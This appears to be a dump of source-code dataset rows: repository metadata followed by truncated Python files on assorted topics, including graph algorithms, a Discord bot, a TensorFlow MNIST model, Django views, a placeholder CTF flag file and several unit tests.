4bd4e7f459eee610d5cf19f845299ca942ff4b64
[ "MIT" ]
23
2015-06-08T13:01:00.000Z
2021-12-30T08:20:04.000Z
python/hello_python3/hello.py
jeremiedecock/snippets
4bd4e7f459eee610d5cf19f845299ca942ff4b64
[ "MIT" ]
1
2020-10-22T02:36:10.000Z
2020-10-22T02:36:10.000Z
python/hello_python3/hello.py
jeremiedecock/snippets
4bd4e7f459eee610d5cf19f845299ca942ff4b64
[ "MIT" ]
7
2017-10-31T09:48:14.000Z
2022-01-04T15:59:45.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright (c) 2012 Jrmie DECOCK (http://www.jdhp.org) # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without...
37.457627
93
0.722624
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright (c) 2012 Jérémie DECOCK (http://www.jdhp.org) # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including witho...
17
0
0
0
0
0
0
0
0
dc166021134218e62816ef7c398ae9b323bb65d0
9,738
py
Python
files/uplink.playground.py
hanez/uplink
5a0b170610690351369f7f8495aa0fdab0342217
[ "MIT" ]
null
null
null
files/uplink.playground.py
hanez/uplink
5a0b170610690351369f7f8495aa0fdab0342217
[ "MIT" ]
null
null
null
files/uplink.playground.py
hanez/uplink
5a0b170610690351369f7f8495aa0fdab0342217
[ "MIT" ]
null
null
null
#!/usr/bin/python3 -d # Copyright (c) 2020 Johannes Findeisen <you@hanez.org> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights #...
42.524017
149
0.602999
#!/usr/bin/python3 -d # Copyright (c) 2020 Johannes Findeisen <you@hanez.org> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights #...
0
3,342
0
493
0
2,602
0
17
250
8d28706e7621c0e57e9593847f1ff1b51290661a
3,399
py
Python
vaje/Grafi/dag.py
jaanos/operacijske-raziskave
a8e32681f767c20452bd720b27dfad8abede397f
[ "MIT" ]
3
2016-11-08T10:06:25.000Z
2018-02-21T17:00:35.000Z
vaje/Grafi/dag.py
jaanos/operacijske-raziskave
a8e32681f767c20452bd720b27dfad8abede397f
[ "MIT" ]
1
2018-06-10T11:28:16.000Z
2018-06-11T12:04:50.000Z
vaje/Grafi/dag.py
jaanos/operacijske-raziskave
a8e32681f767c20452bd720b27dfad8abede397f
[ "MIT" ]
2
2017-01-04T19:01:17.000Z
2021-02-14T16:19:21.000Z
# -*- coding: utf-8 -*- """ Funkcije na grafih. V ocenah asovne zahtevnosti je n tevilo vozli v grafu, m tevilo povezav v grafu, d(u) pa tevilo sosedov vozlia u. Pri tem predpostavljamo, da velja n = O(m) (graf ima O(1) povezanih komponent). Podane asovne zahtevnosti veljajo za predstavitev grafa s seznami sosedov. ""...
26.97619
79
0.537217
# -*- coding: utf-8 -*- """ Funkcije na grafih. V ocenah časovne zahtevnosti je n število vozlišč v grafu, m število povezav v grafu, d(u) pa število sosedov vozlišča u. Pri tem predpostavljamo, da velja n = O(m) (graf ima O(1) povezanih komponent). Podane časovne zahtevnosti veljajo za predstavitev grafa s seznami so...
76
0
0
0
0
0
0
0
0
21fc6f3b8821f940257e95d9e74755870a18674a
2,619
py
Python
util/features.py
MiningMark48/Discord-Bot-Template
7c7fc29d80fdcd84eeae1a0c810092397aa632db
[ "MIT" ]
1
2021-09-11T04:37:06.000Z
2021-09-11T04:37:06.000Z
util/features.py
MiningMark48/Discord-Bot-Template
7c7fc29d80fdcd84eeae1a0c810092397aa632db
[ "MIT" ]
null
null
null
util/features.py
MiningMark48/Discord-Bot-Template
7c7fc29d80fdcd84eeae1a0c810092397aa632db
[ "MIT" ]
null
null
null
import os.path as osp import yaml import logging log = logging.getLogger("discordbot") features_path = "features.yml" def get_extensions() -> list: """ Gets extensions from the `features.yml` to be loaded into the bot :return: list """ log.info("Getting extensions...") exts = [] ...
28.467391
84
0.5063
import os.path as osp import yaml import logging log = logging.getLogger("discordbot") features_path = "features.yml" def get_extensions() -> list: """ Gets extensions from the `features.yml` to be loaded into the bot :return: list """ log.info("Getting extensions...") exts = [] ...
0
0
0
0
0
0
0
0
0
a2af394472257ded8a2225cc96cb386f1dacd2bd
1,070
py
Python
digital_recognition.py
drpreetyrai/ChatBotCourse
352a6672a19d3692c884ff376cbe067fff37e210
[ "MIT" ]
5,087
2016-06-28T08:58:30.000Z
2020-08-18T08:49:46.000Z
digital_recognition.py
tta1993/ChatBotCourse
156041d51ec51842592e8a1eeda565197fe31aec
[ "MIT" ]
28
2016-10-26T08:01:18.000Z
2019-10-22T06:41:21.000Z
digital_recognition.py
tta1993/ChatBotCourse
156041d51ec51842592e8a1eeda565197fe31aec
[ "MIT" ]
1,691
2016-06-29T07:33:36.000Z
2020-08-18T08:50:02.000Z
# coding:utf-8 import sys reload(sys) sys.setdefaultencoding( "utf-8" ) from tensorflow.examples.tutorials.mnist import input_data import tensorflow as tf flags = tf.app.flags FLAGS = flags.FLAGS flags.DEFINE_string('data_dir', './', 'Directory for storing data') mnist = input_data.read_data_sets(FLAGS.data_dir, on...
30.571429
76
0.739252
# coding:utf-8 import sys reload(sys) sys.setdefaultencoding( "utf-8" ) from tensorflow.examples.tutorials.mnist import input_data import tensorflow as tf flags = tf.app.flags FLAGS = flags.FLAGS flags.DEFINE_string('data_dir', './', 'Directory for storing data') mnist = input_data.read_data_sets(FLAGS.data_dir, on...
0
0
0
0
0
0
0
0
0
1e739634a3ec120a1da8b280e357d9b77bdd070a
225
py
Python
dummyValues.py
tigar/single-quinn
0c55a83d36cb949ce637218bfff4db202d434199
[ "MIT" ]
null
null
null
dummyValues.py
tigar/single-quinn
0c55a83d36cb949ce637218bfff4db202d434199
[ "MIT" ]
null
null
null
dummyValues.py
tigar/single-quinn
0c55a83d36cb949ce637218bfff4db202d434199
[ "MIT" ]
null
null
null
import random f1 = random.uniform(1.0, 100.0) f2 = random.uniform(1.0, 100-f1) f3 = random.uniform(1.0, 100-f1-f2) f4 = random.uniform(1.0, 100-f1-f2-f3) f5 = random.uniform(1.0, 100-f1-f2-f3-f4) print(f1, f2, f3, f4, f5)
20.454545
41
0.657778
import random f1 = random.uniform(1.0, 100.0) f2 = random.uniform(1.0, 100-f1) f3 = random.uniform(1.0, 100-f1-f2) f4 = random.uniform(1.0, 100-f1-f2-f3) f5 = random.uniform(1.0, 100-f1-f2-f3-f4) print(f1, f2, f3, f4, f5)
0
0
0
0
0
0
0
0
0
4a3ca18c9c8b306b71ff03de21973e964697838f
2,503
py
Python
user/views/pass_view.py
salimking/movepass
e03fa519f41974f25a70d23179722654b292ef11
[ "MIT" ]
null
null
null
user/views/pass_view.py
salimking/movepass
e03fa519f41974f25a70d23179722654b292ef11
[ "MIT" ]
null
null
null
user/views/pass_view.py
salimking/movepass
e03fa519f41974f25a70d23179722654b292ef11
[ "MIT" ]
null
null
null
# models import # essential imports # forms import # Dashboard for Movement Pass # Apply for Movement Pass # Collect Pass View # View pass
32.934211
71
0.676388
from django.shortcuts import render,redirect,get_object_or_404 from django.views import View # models import from user.models import MovementReason,MovementPass, TimeSpend,\ MoveType from admin.models import IDtype, Gender, PassUser,District # essential imports from django.http import HttpResponseRedirect from dja...
0
402
0
1,249
0
0
0
352
352
ae2c6fbbb06dea5e9a726884b3a47be52845327c
49
py
Python
Symmetric/Stream-Cipher/RC4/secret.py
killua4564/Symmetric
183ea2ec1d1342e9124e710a2de0fcad8b399f3d
[ "MIT" ]
1
2021-05-05T14:03:10.000Z
2021-05-05T14:03:10.000Z
Symmetric/Stream-Cipher/RC4/secret.py
killua4564/Symmetric
183ea2ec1d1342e9124e710a2de0fcad8b399f3d
[ "MIT" ]
null
null
null
Symmetric/Stream-Cipher/RC4/secret.py
killua4564/Symmetric
183ea2ec1d1342e9124e710a2de0fcad8b399f3d
[ "MIT" ]
null
null
null
FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'
49
49
0.857143
FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'
0
0
0
0
0
0
0
0
0
3bd67c221d1e6a3fa9f59fcb25fc9b36eef263ea
3,078
py
Python
ooobuild/lo/awt/x_container_window_provider.py
Amourspirit/ooo_uno_tmpl
64e0c86fd68f24794acc22d63d8d32ae05dd12b8
[ "Apache-2.0" ]
null
null
null
ooobuild/lo/awt/x_container_window_provider.py
Amourspirit/ooo_uno_tmpl
64e0c86fd68f24794acc22d63d8d32ae05dd12b8
[ "Apache-2.0" ]
null
null
null
ooobuild/lo/awt/x_container_window_provider.py
Amourspirit/ooo_uno_tmpl
64e0c86fd68f24794acc22d63d8d32ae05dd12b8
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 # # Copyright 2022 :Barry-Thomas-Paul: Moss # # Licensed under the Apache License, Version 2.0 (the "License") # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http: // www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
45.940299
364
0.745289
# coding: utf-8 # # Copyright 2022 :Barry-Thomas-Paul: Moss # # Licensed under the Apache License, Version 2.0 (the "License") # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http: // www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
0
1,470
0
551
0
0
0
120
119
391404a157821988d98116c0ab1f2a8e5282311e
3,500
py
Python
test/test_sensor.py
brean/home-assistent-dev-env
f39c4503d5075d33d9212e20ac935bdd82c5c3fb
[ "BSD-3-Clause" ]
null
null
null
test/test_sensor.py
brean/home-assistent-dev-env
f39c4503d5075d33d9212e20ac935bdd82c5c3fb
[ "BSD-3-Clause" ]
1
2020-05-06T12:48:59.000Z
2020-05-06T12:48:59.000Z
test/test_sensor.py
brean/home-assistent-dev-env
f39c4503d5075d33d9212e20ac935bdd82c5c3fb
[ "BSD-3-Clause" ]
null
null
null
# we use the normal Web Interface to logg in and execute our tests # alternative would be: https://www.home-assistant.io/integrations/rest/ from selenium import webdriver from selenium.webdriver.common.keys import Keys import time LOVELACE_USERNAME='user' LOVELACE_PASSWORD='1234' # This should be the nginx-docker co...
31.531532
84
0.686286
# we use the normal Web Interface to logg in and execute our tests # alternative would be: https://www.home-assistant.io/integrations/rest/ from selenium import webdriver from selenium.webdriver.common.keys import Keys import time LOVELACE_USERNAME='user' LOVELACE_PASSWORD='1234' # This should be the nginx-docker co...
0
0
0
0
0
1,322
0
0
46
e9ad61c12407e90ecabe125e094479919a372a70
5,087
py
Python
tests/test_basic.py
xsuchy/modulemd
d9b4752abe79fd1476e4284c4c62e2dc16ab0e94
[ "MIT" ]
null
null
null
tests/test_basic.py
xsuchy/modulemd
d9b4752abe79fd1476e4284c4c62e2dc16ab0e94
[ "MIT" ]
null
null
null
tests/test_basic.py
xsuchy/modulemd
d9b4752abe79fd1476e4284c4c62e2dc16ab0e94
[ "MIT" ]
null
null
null
#/usr/bin/python3 # -*- coding: utf-8 -*- # Copyright (c) 2016 Red Hat, Inc. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights ...
38.24812
93
0.680558
#/usr/bin/python3 # -*- coding: utf-8 -*- # Copyright (c) 2016 Red Hat, Inc. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights ...
2
1,293
0
2,406
0
0
0
-6
46
be747761051527bfc17cad5785133b918975f828
4,858
py
Python
test/api/test_users.py
hotteshen/pynodebb
8f76ee515716f3b4d9ea8a6e19de56a081b2904b
[ "MIT" ]
null
null
null
test/api/test_users.py
hotteshen/pynodebb
8f76ee515716f3b4d9ea8a6e19de56a081b2904b
[ "MIT" ]
1
2019-07-17T16:44:57.000Z
2019-07-17T16:44:57.000Z
test/api/test_users.py
philanthropy-u/pynodebb
31913046bddd94e3fddd529bdc5767f27f662d42
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import unicode_literals
33.503448
92
0.619802
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import unicode_literals import json import unittest import httpretty from pynodebb import Client class TestPyNodeBBUsers(unittest.TestCase): def setUp(self): self.client = Client('http://localhost:4567', 'master_token123') @httpretty.act...
0
3,839
0
834
0
0
0
-15
113
2e2e63190c439ae85b039e63ed6fd0a0c18e1c76
609
py
Python
test/ResultsAndPrizes/matchball/test_matchball_winning_numbers_for_several_draws.py
FearFactor1/SPA
a05aaa924c5bebb52cd508ebdf7fd3b81c49fac7
[ "Apache-2.0" ]
1
2019-12-05T06:50:54.000Z
2019-12-05T06:50:54.000Z
test/ResultsAndPrizes/matchball/test_matchball_winning_numbers_for_several_draws.py
FearFactor1/SPA
a05aaa924c5bebb52cd508ebdf7fd3b81c49fac7
[ "Apache-2.0" ]
null
null
null
test/ResultsAndPrizes/matchball/test_matchball_winning_numbers_for_several_draws.py
FearFactor1/SPA
a05aaa924c5bebb52cd508ebdf7fd3b81c49fac7
[ "Apache-2.0" ]
null
null
null
# matchball +
46.846154
82
0.845649
# matchball + Выигрышные номера нескольких тиражей def test_matchball_winning_numbers_for_several_draws(app): app.ResultAndPrizes.open_page_results_and_prizes() app.ResultAndPrizes.click_game_matchball() app.ResultAndPrizes.click_the_winning_numbers_for_several_draws() app.ResultAndPrizes.click_ok_fo...
98
0
0
0
0
518
0
0
23
463ad0d0fb44184b23581f2a7a7de9efd27b08e7
6,839
py
Python
main.py
Ricardo-L-C/SegCol
4986aaa9871774d346db1d95c4ae1d31ab2f096c
[ "MIT" ]
null
null
null
main.py
Ricardo-L-C/SegCol
4986aaa9871774d346db1d95c4ae1d31ab2f096c
[ "MIT" ]
null
null
null
main.py
Ricardo-L-C/SegCol
4986aaa9871774d346db1d95c4ae1d31ab2f096c
[ "MIT" ]
null
null
null
from pathlib import Path root_path = Path(__file__).resolve().parent dataset_path = root_path / "dataset" tag_dump_path = root_path / "loader" / "tag_dump.pkl" pretrain_path = root_path / "model.pth" if __name__ == "__main__": main()
51.037313
223
0.707706
import argparse import pprint import time from pathlib import Path import torch import random import numpy as np from tag2pix import tag2pix root_path = Path(__file__).resolve().parent dataset_path = root_path / "dataset" tag_dump_path = root_path / "loader" / "tag_dump.pkl" pretrain_path = root_path / "model.pth" ...
0
0
0
0
0
6,385
0
-38
248
8a6ac74849c6a53f4bf9c92f0cdff2f6de290b14
5,338
py
Python
tensorflow/python/kernel_tests/argmax_op_test.py
yage99/tensorflow
c7fa71b32a3635eb25596ae80d007b41007769c4
[ "Apache-2.0" ]
78
2020-08-04T12:36:25.000Z
2022-03-25T04:23:40.000Z
tensorflow/python/kernel_tests/argmax_op_test.py
sseung0703/tensorflow
be084bd7a4dd241eb781fc704f57bcacc5c9b6dd
[ "Apache-2.0" ]
203
2019-06-14T23:53:10.000Z
2022-02-10T02:27:23.000Z
tensorflow/python/kernel_tests/argmax_op_test.py
sseung0703/tensorflow
be084bd7a4dd241eb781fc704f57bcacc5c9b6dd
[ "Apache-2.0" ]
28
2020-02-10T07:03:06.000Z
2022-01-12T11:19:20.000Z
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
33.78481
80
0.670101
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
0
412
0
3,752
0
0
0
88
158
10c1a01817d335789f0a2ef1329a1b82542d39fe
4,409
py
Python
src/fr/tagc/rainet/core/execution/processing/other/parse_wan_table4.py
TAGC-Brun/RAINET-RNA
4d5a6658c41d4ab28d7c3d168eed65fe79233b48
[ "Linux-OpenIB" ]
null
null
null
src/fr/tagc/rainet/core/execution/processing/other/parse_wan_table4.py
TAGC-Brun/RAINET-RNA
4d5a6658c41d4ab28d7c3d168eed65fe79233b48
[ "Linux-OpenIB" ]
null
null
null
src/fr/tagc/rainet/core/execution/processing/other/parse_wan_table4.py
TAGC-Brun/RAINET-RNA
4d5a6658c41d4ab28d7c3d168eed65fe79233b48
[ "Linux-OpenIB" ]
null
null
null
#05-Aug-2016 # Script to specifically parse Wan et al 2015 http://www.nature.com/nature/journal/v525/n7569/full/nature14877.html supplementary table 4, # formatting the table for insertion into RAINET DB. workingFolder = "/home/diogo/Documents/RAINET_data/macromolecular_complex_datasets/Wan2015/" inputFile = working...
33.150376
138
0.582672
#05-Aug-2016 # Script to specifically parse Wan et al 2015 http://www.nature.com/nature/journal/v525/n7569/full/nature14877.html supplementary table 4, # formatting the table for insertion into RAINET DB. workingFolder = "/home/diogo/Documents/RAINET_data/macromolecular_complex_datasets/Wan2015/" inputFile = working...
0
0
0
0
0
0
0
0
0
09d0b673005c41ad2b2bbc351581b41e14c45226
2,135
py
Python
benchmark_py/draw_graph.py
PeterHuang2015/Visual_Tracker_Benchmark
7fcb4822ccdbe2682b868a4d49167335a5a071c0
[ "MIT" ]
10
2018-03-07T07:12:26.000Z
2019-11-10T13:43:58.000Z
benchmark_py/draw_graph.py
pmixer/otb.plugin
7fcb4822ccdbe2682b868a4d49167335a5a071c0
[ "MIT" ]
null
null
null
benchmark_py/draw_graph.py
pmixer/otb.plugin
7fcb4822ccdbe2682b868a4d49167335a5a071c0
[ "MIT" ]
3
2018-05-05T01:03:54.000Z
2019-02-21T14:13:33.000Z
if __name__ == '__main__': main()
37.45614
108
0.569087
from config import * import matplotlib.pyplot as plt import numpy as np import math from scripts import * def main(): evalTypes = ['OPE'] testname = 'DTR'#'DTR' for i in range(len(evalTypes)): evalType = evalTypes[i] result_src = RESULT_SRC.format(evalType) trackers = os...
0
0
0
0
0
1,930
0
-4
165
555ce172eb45c26953b2ea9ddd61ba3b1678cf56
1,896
py
Python
_unittests/ut_documentation/test_LONG_notebook_internet.py
Pandinosaurus/actuariat_python
77533a75fcc63a5a7ebca664a19a24c9439670ee
[ "MIT" ]
5
2017-03-13T15:58:40.000Z
2021-02-03T12:52:58.000Z
_unittests/ut_documentation/test_LONG_notebook_internet.py
Pandinosaurus/actuariat_python
77533a75fcc63a5a7ebca664a19a24c9439670ee
[ "MIT" ]
13
2015-06-14T22:01:37.000Z
2021-01-05T13:57:00.000Z
_unittests/ut_documentation/test_LONG_notebook_internet.py
Pandinosaurus/actuariat_python
77533a75fcc63a5a7ebca664a19a24c9439670ee
[ "MIT" ]
9
2017-01-15T15:06:55.000Z
2022-01-18T20:42:48.000Z
# -*- coding: utf-8 -*- """ @brief test log(time=50s) """ import unittest if __name__ == "__main__": unittest.main()
35.111111
125
0.661392
# -*- coding: utf-8 -*- """ @brief test log(time=50s) """ import sys import unittest import warnings from pyquickhelper.loghelper import fLOG from pyquickhelper.pycode import get_temp_folder, add_missing_development_version from pyquickhelper.pycode import fix_tkinter_issues_virtualenv from pyquickhelper.ipythonhe...
0
0
0
1,433
0
0
0
157
177
ba3337abee86d40f033d7d8d019c941e7fcd6b62
2,385
py
Python
snippets/getearningsdata_func.py
peterfabakker/zipline-utils
07ad6f56910b7c34c2cb45442b282213eae0efc6
[ "MIT" ]
null
null
null
snippets/getearningsdata_func.py
peterfabakker/zipline-utils
07ad6f56910b7c34c2cb45442b282213eae0efc6
[ "MIT" ]
null
null
null
snippets/getearningsdata_func.py
peterfabakker/zipline-utils
07ad6f56910b7c34c2cb45442b282213eae0efc6
[ "MIT" ]
null
null
null
import os from zipline.data.bundles.core import load import imp ext = imp.load_source('ext', '/root/.zipline/extension.py') def get_tickers_from_bundle(bundle_name): """Gets a list of tickers from a given bundle courtesy PBHARRIN""" bundle_data = load(bundle_name, os.environ, None) # get a list of all si...
37.265625
117
0.703145
import sys import os import pandas as pd import numpy as np import datetime from shutil import copy from yahoo_earnings_calendar import YahooEarningsCalendar from zipline.data import bundles as bundles_module from zipline.data.bundles.core import load, bundles import imp ext = imp.load_source('ext', '/root/.zipline/ex...
0
0
0
0
0
1,352
0
54
178
b15653a2569b7b4f1c7f77c78f1b74aed18af5bf
5,170
py
Python
matched_markets/tests/test_tbrmmscore.py
ludmila-kuncarova/matched_markets
ded2469997e5bf5b87613f35c38aeb6d35c0ca6e
[ "Apache-2.0" ]
17
2020-11-17T21:39:25.000Z
2022-03-31T03:57:21.000Z
matched_markets/tests/test_tbrmmscore.py
ludmila-kuncarova/matched_markets
ded2469997e5bf5b87613f35c38aeb6d35c0ca6e
[ "Apache-2.0" ]
2
2021-04-06T23:09:49.000Z
2021-11-04T14:43:55.000Z
matched_markets/tests/test_tbrmmscore.py
ludmila-kuncarova/matched_markets
ded2469997e5bf5b87613f35c38aeb6d35c0ca6e
[ "Apache-2.0" ]
7
2020-11-10T17:32:49.000Z
2021-09-06T15:24:00.000Z
# Copyright 2020 Google LLC. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,...
39.465649
80
0.666151
# Copyright 2020 Google LLC. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,...
0
0
0
3,862
0
0
0
-3
45
3d0032e4218a834013458662eb61552fb0f598d7
2,906
py
Python
interpolation/moindreCarre.py
Totorino02/Numerical-algorithms
2898386f52541612a6a21ceb413d0e55498152f1
[ "MIT" ]
null
null
null
interpolation/moindreCarre.py
Totorino02/Numerical-algorithms
2898386f52541612a6a21ceb413d0e55498152f1
[ "MIT" ]
1
2022-02-04T09:53:38.000Z
2022-02-05T00:02:36.000Z
interpolation/moindreCarre.py
Totorino02/Numerical-algorithms
2898386f52541612a6a21ceb413d0e55498152f1
[ "MIT" ]
null
null
null
""" Name: lagrange.py Goal: interpolation of newton Author: HOUNSI Madouvi antoine-sebastien Date: 02/03/2022 """
36.78481
159
0.54095
""" Name: lagrange.py Goal: interpolation of newton Author: HOUNSI Madouvi antoine-sebastien Date: 02/03/2022 """ import numpy as np import matplotlib.pyplot as plt import sys from math import pow from linearEq.utils.gaussForVal import gauss from os.path import dirname, join from interpolation.polynom i...
6
0
0
2,545
0
0
0
50
177
73207c3f8734dcab81bd0cdf2e98ced70169ce66
1,133
py
Python
setup.py
GuanLab/timesias
899d1a42c8df98f6540bcfaa1782751ee7cc6536
[ "MIT" ]
2
2021-10-21T17:28:37.000Z
2022-03-16T00:49:05.000Z
setup.py
GuanLab/timesias
899d1a42c8df98f6540bcfaa1782751ee7cc6536
[ "MIT" ]
null
null
null
setup.py
GuanLab/timesias
899d1a42c8df98f6540bcfaa1782751ee7cc6536
[ "MIT" ]
null
null
null
import setuptools with open("README.md", "r", encoding="utf-8") as fh: long_description = fh.read() setuptools.setup( name="timesias", version="0.0.4", author="Hanrui Zhang, Yuanfang Guan", author_email="rayezh@umich.edu, gyuanfan@umich.edu", description="A machine-learning framework for predi...
29.815789
97
0.60459
import setuptools with open("README.md", "r", encoding="utf-8") as fh: long_description = fh.read() setuptools.setup( name="timesias", version="0.0.4", author="Hanrui Zhang, Yuanfang Guan", author_email="rayezh@umich.edu, gyuanfan@umich.edu", description="A machine-learning framework for predi...
0
0
0
0
0
0
0
0
0
0c2ae73745f5a9edcc4c1ef54c339127de56be3c
283
py
Python
Chap03DataStructures/6-3-1.数据结构复制.py
royqh1979/programming_with_python
7e1e8f88381151b803b6ae6ebda9809d9cc6664a
[ "MIT" ]
5
2019-03-06T12:28:47.000Z
2022-01-06T14:06:02.000Z
Chap03DataStructures/6-3-1.数据结构复制.py
royqh1979/programming_with_python
7e1e8f88381151b803b6ae6ebda9809d9cc6664a
[ "MIT" ]
6
2021-02-02T22:40:49.000Z
2022-03-12T00:27:54.000Z
Chap03DataStructures/6-3-1.数据结构复制.py
royqh1979/programming_with_python
7e1e8f88381151b803b6ae6ebda9809d9cc6664a
[ "MIT" ]
4
2019-03-06T14:29:25.000Z
2020-06-02T15:16:40.000Z
lst1=[1,2,3,4] lst2=lst1 lst3=lst1.copy() lst1.append(5) lst1[0]=10 print(lst1,lst2,lst3) dict1={'aaa':1,'bbb':2} dict2=dict1 dict3=dict1.copy() dict1['ccc']=3 print(dict1,dict2,dict3) set1=set(['aaa','bbb','ccc']) set2=set1 set3=set1.copy() set1.add('ddd') print(set1,set2,set3)
14.15
29
0.678445
lst1=[1,2,3,4] lst2=lst1 lst3=lst1.copy() lst1.append(5) lst1[0]=10 print(lst1,lst2,lst3) dict1={'aaa':1,'bbb':2} dict2=dict1 dict3=dict1.copy() dict1['ccc']=3 print(dict1,dict2,dict3) set1=set(['aaa','bbb','ccc']) set2=set1 set3=set1.copy() set1.add('ddd') print(set1,set2,set3)
0
0
0
0
0
0
0
0
0
6be33f379f437360e7f478b560fa08e55a207c67
1,719
py
Python
tutorials_scripts/nn_pytorch_autograd.py
ImadDabbura/deep_learning_with_pytorch
0cac0614ab08b30654de192e540048cf4243a4e4
[ "MIT" ]
1
2020-02-14T12:05:11.000Z
2020-02-14T12:05:11.000Z
tutorials_scripts/nn_pytorch_autograd.py
ImadDabbura/deep_learning_with_pytorch
0cac0614ab08b30654de192e540048cf4243a4e4
[ "MIT" ]
null
null
null
tutorials_scripts/nn_pytorch_autograd.py
ImadDabbura/deep_learning_with_pytorch
0cac0614ab08b30654de192e540048cf4243a4e4
[ "MIT" ]
null
null
null
""" Fitting a random data using fully connected network with one hidden layer. """ import torch device = torch.device('gpu:0' if torch.cuda.is_available() else 'cpu') # Define dimensions N, D_IN, H, D_OUT = 64, 1000, 100, 10 # Create random data X = torch.randn(N, D_IN, device=device, dtype=dtype, requires_grad=...
24.913043
75
0.660268
""" Fitting a random data using fully connected network with one hidden layer. """ import torch class MyRelu(torch.autograd.Function): """ Implement a custom made autograd function. """ @staticmethod def forward(ctx, input_tensor): ctx = ctx.save_for_backward(input_tensor) outpu...
0
338
0
134
0
0
0
0
23
e25329f28b1875dca2dc0ef94bba180accc76a2a
582
py
Python
src/aws_profile_sync/handlers/__init__.py
snowdensb/aws-profile-sync
c3dc3b51659893aaae5250ad5f8bc40768770a8d
[ "CC0-1.0" ]
6
2020-08-12T18:22:50.000Z
2021-09-05T20:03:42.000Z
src/aws_profile_sync/handlers/__init__.py
snowdensb/aws-profile-sync
c3dc3b51659893aaae5250ad5f8bc40768770a8d
[ "CC0-1.0" ]
5
2021-10-05T21:30:29.000Z
2021-10-05T21:30:33.000Z
src/aws_profile_sync/handlers/__init__.py
snowdensb/aws-profile-sync
c3dc3b51659893aaae5250ad5f8bc40768770a8d
[ "CC0-1.0" ]
1
2021-08-09T15:05:50.000Z
2021-08-09T15:05:50.000Z
"""This module contains handlers for the various supported URLs.""" from .ssh_git import SSHGitHandler __all__ = ["SSHGitHandler"] def find_handler(url): """Find a handler that will support a URL. Args: url: The URL to find a handler for. Returns: If a handler is found a class will be r...
24.25
71
0.634021
"""This module contains handlers for the various supported URLs.""" from .ssh_git import SSHGitHandler __all__ = ["SSHGitHandler"] def find_handler(url): """Find a handler that will support a URL. Args: url: The URL to find a handler for. Returns: If a handler is found a class will be r...
0
0
0
0
0
0
0
0
0
5df326f771d6a386776fd222c5abea97c2f26bf6
2,014
py
Python
tools/actions/generate_compile_command.py
google/xrtl
8cf0e7cd67371297149bda8e62d03b8c1e2e2dfe
[ "Apache-2.0" ]
132
2017-03-30T03:26:57.000Z
2021-11-18T09:18:04.000Z
tools/actions/generate_compile_command.py
google/xrtl
8cf0e7cd67371297149bda8e62d03b8c1e2e2dfe
[ "Apache-2.0" ]
36
2017-04-02T22:57:53.000Z
2018-06-27T04:20:30.000Z
tools/actions/generate_compile_command.py
google/xrtl
8cf0e7cd67371297149bda8e62d03b8c1e2e2dfe
[ "Apache-2.0" ]
24
2017-04-09T12:48:13.000Z
2021-10-20T02:20:07.000Z
#!/usr/bin/env python # Copyright 2017 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
33.016393
82
0.740318
#!/usr/bin/env python # Copyright 2017 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
0
0
0
0
0
923
0
0
46
aaee5debe17b0b1833a981527a83db65e62842d8
395
py
Python
functions lab/Orders.py
DiyanKalaydzhiev23/fundamentals---python
7fa032d9a3270648ffa383bb00dad8e51613189d
[ "MIT" ]
null
null
null
functions lab/Orders.py
DiyanKalaydzhiev23/fundamentals---python
7fa032d9a3270648ffa383bb00dad8e51613189d
[ "MIT" ]
null
null
null
functions lab/Orders.py
DiyanKalaydzhiev23/fundamentals---python
7fa032d9a3270648ffa383bb00dad8e51613189d
[ "MIT" ]
null
null
null
product = input() times = int(input()) coffee = 1.50 water = 1 coke = 1.40 snacks = 2 print(f"{order():.2f}")
16.458333
30
0.546835
product = input() times = int(input()) coffee = 1.50 water = 1 coke = 1.40 snacks = 2 def order(): price = 0 if product == "coffee": price = coffee * times elif product == "water": price = times * water elif product == "coke": price = times * coke elif product == "snacks":...
0
0
0
0
0
258
0
0
23
b23c905a58473b5356c6608c242650dd86b87b5e
486
py
Python
